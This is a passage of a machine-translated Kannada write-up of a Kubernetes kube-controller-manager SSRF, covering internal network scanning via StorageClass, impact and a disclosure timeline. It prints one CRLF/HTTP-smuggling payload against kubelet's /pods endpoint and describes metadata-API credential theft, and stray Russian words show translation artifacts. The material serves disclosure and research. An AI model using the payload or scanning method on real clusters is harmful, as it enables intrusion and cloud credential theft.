  • ದೇಹದಲ್ಲಿನ ನಿಯತಾಂಕಗಳೊಂದಿಗೆ POST ವಿನಂತಿಯನ್ನು ನಿರ್ವಹಿಸಲು ಅಸಮರ್ಥತೆ (ಇದು ಚಾಲನೆಯಲ್ಲಿರುವ etcd ನಿದರ್ಶನದಿಂದ ಪ್ರಮುಖ ಮೌಲ್ಯವನ್ನು ವಿನಂತಿಸಲು ಅನುಕೂಲಕರವಾಗಿದೆ 2379 ಎನ್‌ಕ್ರಿಪ್ಟ್ ಮಾಡದ HTTP ಬಳಸಿದರೆ ಪೋರ್ಟ್).
  • ಸ್ಥಿತಿ ಕೋಡ್ 200 ಇದ್ದಾಗ ಪ್ರತಿಕ್ರಿಯೆ ದೇಹದ ವಿಷಯವನ್ನು ಹಿಂಪಡೆಯಲು ಅಸಮರ್ಥತೆ ಮತ್ತು ಪ್ರತಿಕ್ರಿಯೆಯು JSON ವಿಷಯ-ಪ್ರಕಾರವನ್ನು ಹೊಂದಿಲ್ಲ.

ಸುಧಾರಿತ ಸನ್ನಿವೇಶ #2: ಸ್ಥಳೀಯ ನೆಟ್‌ವರ್ಕ್ ಅನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡಲಾಗುತ್ತಿದೆ

ಈ ಅರ್ಧ-ಕುರುಡು SSRF ವಿಧಾನವನ್ನು ನಂತರ ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರ ಆಂತರಿಕ ನೆಟ್‌ವರ್ಕ್ ಅನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡಲು ಮತ್ತು ಪ್ರತಿಕ್ರಿಯೆಗಳ ಆಧಾರದ ಮೇಲೆ ವಿವಿಧ ಆಲಿಸುವ ಸೇವೆಗಳನ್ನು (ಮೆಟಾಡೇಟಾ ನಿದರ್ಶನ, ಕುಬೆಲೆಟ್, ಇತ್ಯಾದಿ) ಸಮೀಕ್ಷೆ ಮಾಡಲು ಬಳಸಲಾಯಿತು. kube ನಿಯಂತ್ರಕ.

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಮೊದಲಿಗೆ, ಕುಬರ್ನೆಟ್ಸ್ ಘಟಕಗಳ ಪ್ರಮಾಣಿತ ಆಲಿಸುವ ಪೋರ್ಟ್‌ಗಳನ್ನು ನಿರ್ಧರಿಸಲಾಯಿತು (8443, 10250, 10251, ಇತ್ಯಾದಿ), ಮತ್ತು ನಂತರ ನಾವು ಸ್ಕ್ಯಾನಿಂಗ್ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಸ್ವಯಂಚಾಲಿತಗೊಳಿಸಬೇಕಾಗಿತ್ತು.

ಸಂಪನ್ಮೂಲಗಳನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡುವ ಈ ವಿಧಾನವು ತುಂಬಾ ನಿರ್ದಿಷ್ಟವಾಗಿದೆ ಮತ್ತು ಕ್ಲಾಸಿಕ್ ಸ್ಕ್ಯಾನರ್‌ಗಳು ಮತ್ತು SSRF ಪರಿಕರಗಳೊಂದಿಗೆ ಹೊಂದಿಕೆಯಾಗುವುದಿಲ್ಲ ಎಂದು ನೋಡಿ, ಇಡೀ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಸ್ವಯಂಚಾಲಿತಗೊಳಿಸುವ ಬ್ಯಾಷ್ ಸ್ಕ್ರಿಪ್ಟ್‌ನಲ್ಲಿ ನಮ್ಮದೇ ಕೆಲಸಗಾರರನ್ನು ರಚಿಸಲು ನಾವು ನಿರ್ಧರಿಸಿದ್ದೇವೆ.

ಉದಾಹರಣೆಗೆ, ಆಂತರಿಕ ನೆಟ್ವರ್ಕ್ನ 172.16.0.0/12 ಶ್ರೇಣಿಯನ್ನು ತ್ವರಿತವಾಗಿ ಸ್ಕ್ಯಾನ್ ಮಾಡಲು, 15 ಕೆಲಸಗಾರರನ್ನು ಸಮಾನಾಂತರವಾಗಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ಮೇಲಿನ IP ಶ್ರೇಣಿಯನ್ನು ಉದಾಹರಣೆಯಾಗಿ ಮಾತ್ರ ಆಯ್ಕೆಮಾಡಲಾಗಿದೆ ಮತ್ತು ನಿಮ್ಮ ನಿರ್ದಿಷ್ಟ ಸೇವಾ ಪೂರೈಕೆದಾರರ IP ಶ್ರೇಣಿಗೆ ಬದಲಾವಣೆಗೆ ಒಳಪಟ್ಟಿರಬಹುದು.

ಒಂದು IP ವಿಳಾಸ ಮತ್ತು ಒಂದು ಪೋರ್ಟ್ ಅನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡಲು, ನೀವು ಈ ಕೆಳಗಿನವುಗಳನ್ನು ಮಾಡಬೇಕಾಗಿದೆ:

  • ಕೊನೆಯದಾಗಿ ಪರಿಶೀಲಿಸಿದ StorageClass ಅನ್ನು ಅಳಿಸಿ;
  • ಹಿಂದಿನ ಪರಿಶೀಲಿಸಿದ ಪರ್ಸಿಸ್ಟೆಂಟ್ ವಾಲ್ಯೂಮ್ ಕ್ಲೈಮ್ ಅನ್ನು ತೆಗೆದುಹಾಕಿ;
  • IP ಮತ್ತು ಪೋರ್ಟ್ ಮೌಲ್ಯಗಳನ್ನು ಬದಲಾಯಿಸಿ sc.yaml;
  • ಹೊಸ IP ಮತ್ತು ಪೋರ್ಟ್‌ನೊಂದಿಗೆ StorageClass ಅನ್ನು ರಚಿಸಿ;
  • ಹೊಸ PVC ಅನ್ನು ರಚಿಸಿ;
  • PVC ಗಾಗಿ ವಿವರಿಸುವ ಮೂಲಕ ಸ್ಕ್ಯಾನ್ ಫಲಿತಾಂಶಗಳನ್ನು ಹೊರತೆಗೆಯಿರಿ.

ಸುಧಾರಿತ ಸನ್ನಿವೇಶ #3: CRLF ಇಂಜೆಕ್ಷನ್ + ಕುಬರ್ನೆಟ್ಸ್ ಕ್ಲಸ್ಟರ್‌ನ "ಹಳೆಯ" ಆವೃತ್ತಿಗಳಲ್ಲಿ HTTP ಕಳ್ಳಸಾಗಣೆ

ಇದರ ಜೊತೆಗೆ ಒದಗಿಸುವವರು ಗ್ರಾಹಕರಿಗೆ K8s ಕ್ಲಸ್ಟರ್‌ನ ಹಳೆಯ ಆವೃತ್ತಿಗಳನ್ನು ನೀಡಿದರೆ и ಅವರಿಗೆ kube-controller-manager ನ ಲಾಗ್‌ಗಳಿಗೆ ಪ್ರವೇಶವನ್ನು ನೀಡಿತು, ಪರಿಣಾಮವು ಇನ್ನಷ್ಟು ಗಮನಾರ್ಹವಾಯಿತು.

ತನ್ನ ವಿವೇಚನೆಯಿಂದ ಪೂರ್ಣ HTTP ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ಪಡೆಯಲು ವಿನ್ಯಾಸಗೊಳಿಸಲಾದ HTTP ವಿನಂತಿಗಳನ್ನು ಬದಲಾಯಿಸಲು ಆಕ್ರಮಣಕಾರರಿಗೆ ಇದು ಹೆಚ್ಚು ಅನುಕೂಲಕರವಾಗಿದೆ.

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಕೊನೆಯ ಸನ್ನಿವೇಶವನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಲು, ಈ ಕೆಳಗಿನ ಷರತ್ತುಗಳನ್ನು ಪೂರೈಸಬೇಕು:

  • ಬಳಕೆದಾರರು kube-controller-manager ಲಾಗ್‌ಗಳಿಗೆ ಪ್ರವೇಶವನ್ನು ಹೊಂದಿರಬೇಕು (ಉದಾಹರಣೆಗೆ, Azure LogInsights ನಲ್ಲಿ).
  • ಕುಬರ್ನೆಟ್ಸ್ ಕ್ಲಸ್ಟರ್ 1.12 ಕ್ಕಿಂತ ಕಡಿಮೆ ಗೊಲಾಂಗ್ ಆವೃತ್ತಿಯನ್ನು ಬಳಸಬೇಕು.

GlusterFS Go ಕ್ಲೈಂಟ್ ಮತ್ತು ನಕಲಿ ಟಾರ್ಗೆಟ್ ಸರ್ವರ್ ನಡುವೆ ಸಂವಹನವನ್ನು ಅನುಕರಿಸುವ ಸ್ಥಳೀಯ ಪರಿಸರವನ್ನು ನಾವು ನಿಯೋಜಿಸಿದ್ದೇವೆ (ನಾವು ಸದ್ಯಕ್ಕೆ PoC ಅನ್ನು ಪ್ರಕಟಿಸುವುದನ್ನು ತಡೆಯುತ್ತೇವೆ).

ಕಂಡುಬಂತು ದುರ್ಬಲತೆ, 1.12 ಕ್ಕಿಂತ ಕಡಿಮೆ ಇರುವ ಗೋಲಾಂಗ್ ಆವೃತ್ತಿಗಳ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರುತ್ತದೆ ಮತ್ತು HTTP ಕಳ್ಳಸಾಗಣೆ/CRLF ದಾಳಿಗಳನ್ನು ನಡೆಸಲು ಹ್ಯಾಕರ್‌ಗಳಿಗೆ ಅವಕಾಶ ನೀಡುತ್ತದೆ.

ಮೇಲೆ ವಿವರಿಸಿದ ಅರ್ಧ-ಕುರುಡು SSRF ಅನ್ನು ಸಂಯೋಜಿಸುವ ಮೂಲಕ вместе ಇದರೊಂದಿಗೆ, ಹೆಡರ್‌ಗಳು, HTTP ವಿಧಾನ, ಪ್ಯಾರಾಮೀಟರ್‌ಗಳು ಮತ್ತು ಡೇಟಾವನ್ನು ಬದಲಾಯಿಸುವುದು ಸೇರಿದಂತೆ ನಮ್ಮ ಇಚ್ಛೆಯಂತೆ ವಿನಂತಿಗಳನ್ನು ಕಳುಹಿಸಲು ನಮಗೆ ಸಾಧ್ಯವಾಯಿತು, ನಂತರ ಅದನ್ನು kube-controller-manager ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಲಾಗಿದೆ.

ಪ್ಯಾರಾಮೀಟರ್ನಲ್ಲಿ ಕೆಲಸ ಮಾಡುವ "ಬೆಟ್" ನ ಉದಾಹರಣೆ ಇಲ್ಲಿದೆ resturl StorageClass, ಇದು ಇದೇ ರೀತಿಯ ದಾಳಿಯ ಸನ್ನಿವೇಶವನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸುತ್ತದೆ:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ಫಲಿತಾಂಶವು ದೋಷವಾಗಿದೆ ಅಪೇಕ್ಷಿಸದ ಪ್ರತಿಕ್ರಿಯೆ, ನಿಯಂತ್ರಕ ಲಾಗ್‌ಗಳಲ್ಲಿ ದಾಖಲಿಸಲಾದ ಸಂದೇಶ. ಪೂರ್ವನಿಯೋಜಿತವಾಗಿ ಶಕ್ತಗೊಳಿಸಲಾದ ವರ್ಬೊಸಿಟಿಗೆ ಧನ್ಯವಾದಗಳು, HTTP ಪ್ರತಿಕ್ರಿಯೆ ಸಂದೇಶದ ವಿಷಯಗಳನ್ನು ಸಹ ಅಲ್ಲಿ ಉಳಿಸಲಾಗಿದೆ.

ಇದು ಕುಬರ್ನೆಟ್ಸ್ ದುರ್ಬಲತೆಗಳ ಬಗ್ಗೆ ಮಾತ್ರವಲ್ಲ...

ಪರಿಕಲ್ಪನೆಯ ಪುರಾವೆಯ ಚೌಕಟ್ಟಿನೊಳಗೆ ಇದು ನಮ್ಮ ಅತ್ಯಂತ ಪರಿಣಾಮಕಾರಿ "ಬೆಟ್" ಆಗಿತ್ತು.

ಈ ವಿಧಾನವನ್ನು ಬಳಸಿಕೊಂಡು, ನಾವು ವಿವಿಧ ನಿರ್ವಹಿಸಲಾದ k8s ಪೂರೈಕೆದಾರರ ಕ್ಲಸ್ಟರ್‌ಗಳ ಮೇಲೆ ಈ ಕೆಳಗಿನ ಕೆಲವು ದಾಳಿಗಳನ್ನು ನಡೆಸಲು ಸಾಧ್ಯವಾಯಿತು: ಮೆಟಾಡೇಟಾ ನಿದರ್ಶನಗಳ ಮೇಲಿನ ರುಜುವಾತುಗಳೊಂದಿಗೆ ಸವಲತ್ತು ಹೆಚ್ಚಳ, etcd ಮಾಸ್ಟರ್ ನಿದರ್ಶನಗಳಲ್ಲಿ (ಎನ್‌ಕ್ರಿಪ್ಟ್ ಮಾಡದ) HTTP ವಿನಂತಿಗಳ ಮೂಲಕ ಮಾಸ್ಟರ್ DoS, ಇತ್ಯಾದಿ.

ಪರಿಣಾಮಗಳು

ನಾವು ಕಂಡುಹಿಡಿದ SSRF ದುರ್ಬಲತೆಯ ಬಗ್ಗೆ ಕುಬರ್ನೆಟ್ಸ್ ಅಧಿಕೃತ ಹೇಳಿಕೆಯಲ್ಲಿ, ಅದನ್ನು ರೇಟ್ ಮಾಡಲಾಗಿದೆ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ನಾವು ಕುಬರ್ನೆಟ್ಸ್ ಪರಿಧಿಗೆ ಸಂಬಂಧಿಸಿದ ದುರ್ಬಲತೆಯನ್ನು ಮಾತ್ರ ಪರಿಗಣಿಸಿದರೆ, ಸಮಗ್ರತೆ ವೆಕ್ಟರ್ (ಸಮಗ್ರತೆ ವೆಕ್ಟರ್) ಇದು ಅರ್ಹತೆ ಹೊಂದಿದೆ ಯಾವುದೂ.

ಆದಾಗ್ಯೂ, ನಿರ್ವಹಿಸಲಾದ ಸೇವಾ ಪರಿಸರದ ಸಂದರ್ಭದಲ್ಲಿ ಸಂಭವನೀಯ ಪರಿಣಾಮಗಳನ್ನು ನಿರ್ಣಯಿಸುವುದು (ಮತ್ತು ಇದು ನಮ್ಮ ಸಂಶೋಧನೆಯ ಅತ್ಯಂತ ಆಸಕ್ತಿದಾಯಕ ಭಾಗವಾಗಿದೆ!) ದುರ್ಬಲತೆಯನ್ನು ರೇಟಿಂಗ್‌ಗೆ ಮರುವಿಂಗಡಿಸಲು ನಮ್ಮನ್ನು ಪ್ರೇರೇಪಿಸಿತು. ನಿರ್ಣಾಯಕ CVSS10/10 ಅನೇಕ ವಿತರಕರಿಗೆ.

ಕ್ಲೌಡ್ ಪರಿಸರದಲ್ಲಿ ಸಂಭಾವ್ಯ ಪರಿಣಾಮಗಳನ್ನು ನಿರ್ಣಯಿಸುವಾಗ ನಮ್ಮ ಪರಿಗಣನೆಗಳನ್ನು ಅರ್ಥಮಾಡಿಕೊಳ್ಳಲು ನಿಮಗೆ ಸಹಾಯ ಮಾಡಲು ಹೆಚ್ಚುವರಿ ಮಾಹಿತಿಯು ಕೆಳಗಿದೆ:

ಸಮಗ್ರತೆ

  • ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿರುವ ಆಂತರಿಕ ರುಜುವಾತುಗಳನ್ನು ಬಳಸಿಕೊಂಡು ದೂರದಿಂದಲೇ ಆಜ್ಞೆಗಳನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಿ.
  • ಸ್ಥಳೀಯ ನೆಟ್‌ವರ್ಕ್‌ನಲ್ಲಿ ಕಂಡುಬರುವ ಇತರ ಸಂಪನ್ಮೂಲಗಳೊಂದಿಗೆ IDOR (ಅಸುರಕ್ಷಿತ ನೇರ ವಸ್ತು ಉಲ್ಲೇಖ) ವಿಧಾನವನ್ನು ಬಳಸಿಕೊಂಡು ಮೇಲಿನ ಸನ್ನಿವೇಶವನ್ನು ಪುನರುತ್ಪಾದಿಸುವುದು.

ಗೌಪ್ಯತೆ

  • ದಾಳಿಯ ಪ್ರಕಾರ ಪಾರ್ಶ್ವ ಚಳುವಳಿ ಕ್ಲೌಡ್ ರುಜುವಾತುಗಳ ಕಳ್ಳತನಕ್ಕೆ ಧನ್ಯವಾದಗಳು (ಉದಾಹರಣೆಗೆ, ಮೆಟಾಡೇಟಾ API).
  • ಸ್ಥಳೀಯ ನೆಟ್ವರ್ಕ್ ಅನ್ನು ಸ್ಕ್ಯಾನ್ ಮಾಡುವ ಮೂಲಕ ಮಾಹಿತಿಯನ್ನು ಸಂಗ್ರಹಿಸುವುದು (SSH ಆವೃತ್ತಿಯನ್ನು ನಿರ್ಧರಿಸುವುದು, HTTP ಸರ್ವರ್ ಆವೃತ್ತಿ, ...).
  • ಮೆಟಾಡೇಟಾ API ನಂತಹ ಆಂತರಿಕ API ಗಳನ್ನು ಪೋಲಿಂಗ್ ಮಾಡುವ ಮೂಲಕ ನಿದರ್ಶನ ಮತ್ತು ಮೂಲಸೌಕರ್ಯ ಮಾಹಿತಿಯನ್ನು ಸಂಗ್ರಹಿಸಿ (http://169.254.169.254,…).
  • ಕ್ಲೌಡ್ ರುಜುವಾತುಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಗ್ರಾಹಕರ ಡೇಟಾವನ್ನು ಕದಿಯುವುದು.

ಲಭ್ಯತೆ

ದಾಳಿ ವೆಕ್ಟರ್‌ಗಳಿಗೆ ಸಂಬಂಧಿಸಿದ ಎಲ್ಲಾ ಶೋಷಣೆಯ ಸನ್ನಿವೇಶಗಳು ಸಮಗ್ರತೆ, ವಿನಾಶಕಾರಿ ಕ್ರಿಯೆಗಳಿಗೆ ಬಳಸಬಹುದು ಮತ್ತು ಕ್ಲೈಂಟ್ ಪರಿಧಿಯಿಂದ (ಅಥವಾ ಯಾವುದೇ ಇತರ) ಅಲಭ್ಯವಾಗಿರುವುದರಿಂದ ಮಾಸ್ಟರ್ ನಿದರ್ಶನಗಳಿಗೆ ಕಾರಣವಾಗಬಹುದು.

ನಾವು ನಿರ್ವಹಿಸಿದ K8s ಪರಿಸರದಲ್ಲಿ ಮತ್ತು ಸಮಗ್ರತೆಯ ಮೇಲೆ ಪ್ರಭಾವವನ್ನು ನಿರ್ಣಯಿಸುವುದರಿಂದ, ಲಭ್ಯತೆಯ ಮೇಲೆ ಪರಿಣಾಮ ಬೀರುವ ಅನೇಕ ಸನ್ನಿವೇಶಗಳನ್ನು ನಾವು ಊಹಿಸಬಹುದು. ಹೆಚ್ಚುವರಿ ಉದಾಹರಣೆಗಳೆಂದರೆ etcd ಡೇಟಾಬೇಸ್ ಅನ್ನು ಭ್ರಷ್ಟಗೊಳಿಸುವುದು ಅಥವಾ ಕುಬರ್ನೆಟ್ಸ್ API ಗೆ ನಿರ್ಣಾಯಕ ಕರೆ ಮಾಡುವುದು.

ಟೈಮ್‌ಲೈನ್

  • ಡಿಸೆಂಬರ್ 6, 2019: MSRC ಬಗ್ ಬೌಂಟಿಗೆ ದುರ್ಬಲತೆಯನ್ನು ವರದಿ ಮಾಡಲಾಗಿದೆ.
  • ಜನವರಿ 3, 2020: ನಾವು ಭದ್ರತಾ ಸಮಸ್ಯೆಯಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದೇವೆ ಎಂದು ಮೂರನೇ ವ್ಯಕ್ತಿ ಕುಬರ್ನೆಟ್ಸ್ ಡೆವಲಪರ್‌ಗಳಿಗೆ ಮಾಹಿತಿ ನೀಡಿದರು. ಮತ್ತು SSRF ಅನ್ನು ಆಂತರಿಕ (ಇನ್-ಕೋರ್) ದುರ್ಬಲತೆ ಎಂದು ಪರಿಗಣಿಸಲು ಅವರನ್ನು ಕೇಳಿದೆ. ನಂತರ ನಾವು ಸಮಸ್ಯೆಯ ಮೂಲದ ಬಗ್ಗೆ ತಾಂತ್ರಿಕ ವಿವರಗಳೊಂದಿಗೆ ಸಾಮಾನ್ಯ ವರದಿಯನ್ನು ಒದಗಿಸಿದ್ದೇವೆ.
  • ಜನವರಿ 15, 2020: ನಾವು Kubernetes ಡೆವಲಪರ್‌ಗಳಿಗೆ ಅವರ ಕೋರಿಕೆಯ ಮೇರೆಗೆ (HackerOne ಪ್ಲಾಟ್‌ಫಾರ್ಮ್ ಮೂಲಕ) ತಾಂತ್ರಿಕ ಮತ್ತು ಸಾಮಾನ್ಯ ವರದಿಗಳನ್ನು ಒದಗಿಸಿದ್ದೇವೆ.
  • ಜನವರಿ 15, 2020: ಹಿಂದಿನ ಬಿಡುಗಡೆಗಳಿಗೆ ಅರ್ಧ-ಕುರುಡು SSRF + CRLF ಇಂಜೆಕ್ಷನ್ ಅನ್ನು ಇನ್-ಕೋರ್ ದುರ್ಬಲತೆ ಎಂದು ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ ಎಂದು ಕುಬರ್ನೆಟ್ಸ್ ಡೆವಲಪರ್‌ಗಳು ನಮಗೆ ಸೂಚಿಸಿದ್ದಾರೆ. ನಾವು ತಕ್ಷಣವೇ ಇತರ ಸೇವಾ ಪೂರೈಕೆದಾರರ ಪರಿಧಿಯನ್ನು ವಿಶ್ಲೇಷಿಸುವುದನ್ನು ನಿಲ್ಲಿಸಿದ್ದೇವೆ: K8s ತಂಡವು ಈಗ ಮೂಲ ಕಾರಣವನ್ನು ನಿಭಾಯಿಸುತ್ತಿದೆ.
  • ಜನವರಿ 15, 2020: ಹ್ಯಾಕರ್‌ಒನ್ ಮೂಲಕ MSRC ಬಹುಮಾನವನ್ನು ಸ್ವೀಕರಿಸಲಾಗಿದೆ.
  • ಜನವರಿ 16, 2020: ಕುಬರ್ನೆಟ್ಸ್ PSC (ಉತ್ಪನ್ನ ಭದ್ರತಾ ಸಮಿತಿ) ದುರ್ಬಲತೆಯನ್ನು ಗುರುತಿಸಿದೆ ಮತ್ತು ಹೆಚ್ಚಿನ ಸಂಖ್ಯೆಯ ಸಂಭಾವ್ಯ ಬಲಿಪಶುಗಳ ಕಾರಣ ಮಾರ್ಚ್ ಮಧ್ಯದವರೆಗೆ ಅದನ್ನು ರಹಸ್ಯವಾಗಿಡಲು ಕೇಳಿದೆ.
  • ಫೆಬ್ರವರಿ 11, 2020: Google VRP ಬಹುಮಾನವನ್ನು ಸ್ವೀಕರಿಸಲಾಗಿದೆ.
  • ಮಾರ್ಚ್ 4, 2020: HackerOne ಮೂಲಕ Kubernetes ಬಹುಮಾನವನ್ನು ಸ್ವೀಕರಿಸಲಾಗಿದೆ.
  • ಮಾರ್ಚ್ 15, 2020: COVID-19 ಪರಿಸ್ಥಿತಿಯ ಕಾರಣದಿಂದಾಗಿ ಮೂಲತಃ ನಿಗದಿಪಡಿಸಲಾದ ಸಾರ್ವಜನಿಕ ಬಹಿರಂಗಪಡಿಸುವಿಕೆಯನ್ನು ಮುಂದೂಡಲಾಗಿದೆ.
  • ಜೂನ್ 1, 2020: ದುರ್ಬಲತೆಯ ಕುರಿತು ಕುಬರ್ನೆಟ್ಸ್ + ಮೈಕ್ರೋಸಾಫ್ಟ್ ಜಂಟಿ ಹೇಳಿಕೆ.

ಟಿಎಲ್; ಡಿಆರ್

  • ನಾವು ಬಿಯರ್ ಕುಡಿಯುತ್ತೇವೆ ಮತ್ತು ಪಿಜ್ಜಾ ತಿನ್ನುತ್ತೇವೆ :)
  • ಕುಬರ್ನೆಟ್ಸ್‌ನಲ್ಲಿ ನಾವು ಇನ್-ಕೋರ್ ದುರ್ಬಲತೆಯನ್ನು ಕಂಡುಹಿಡಿದಿದ್ದೇವೆ, ಆದರೂ ನಾವು ಹಾಗೆ ಮಾಡುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿಲ್ಲ.
  • ನಾವು ವಿವಿಧ ಕ್ಲೌಡ್ ಪೂರೈಕೆದಾರರ ಕ್ಲಸ್ಟರ್‌ಗಳ ಮೇಲೆ ಹೆಚ್ಚುವರಿ ವಿಶ್ಲೇಷಣೆಯನ್ನು ನಡೆಸಿದ್ದೇವೆ ಮತ್ತು ಹೆಚ್ಚುವರಿ ಅದ್ಭುತ ಬೋನಸ್‌ಗಳನ್ನು ಪಡೆಯುವ ದುರ್ಬಲತೆಯಿಂದ ಉಂಟಾದ ಹಾನಿಯನ್ನು ಹೆಚ್ಚಿಸಲು ಸಾಧ್ಯವಾಯಿತು.
  • ಈ ಲೇಖನದಲ್ಲಿ ನೀವು ಸಾಕಷ್ಟು ತಾಂತ್ರಿಕ ವಿವರಗಳನ್ನು ಕಾಣಬಹುದು. ನಿಮ್ಮೊಂದಿಗೆ ಚರ್ಚಿಸಲು ನಾವು ಸಂತೋಷಪಡುತ್ತೇವೆ (ಟ್ವಿಟರ್: @ReeverZax & @__hach_).
  • ಎಲ್ಲಾ ರೀತಿಯ ಔಪಚಾರಿಕತೆಗಳು ಮತ್ತು ವರದಿ ಮಾಡುವಿಕೆಯು ನಿರೀಕ್ಷೆಗಿಂತ ಹೆಚ್ಚು ಸಮಯ ತೆಗೆದುಕೊಂಡಿತು ಎಂದು ಅದು ಬದಲಾಯಿತು.

ಉಲ್ಲೇಖಗಳು

ಅನುವಾದಕರಿಂದ PS

ನಮ್ಮ ಬ್ಲಾಗ್‌ನಲ್ಲಿಯೂ ಓದಿ:

ಮೂಲ: www.habr.com

ಕಾಮೆಂಟ್ ಅನ್ನು ಸೇರಿಸಿ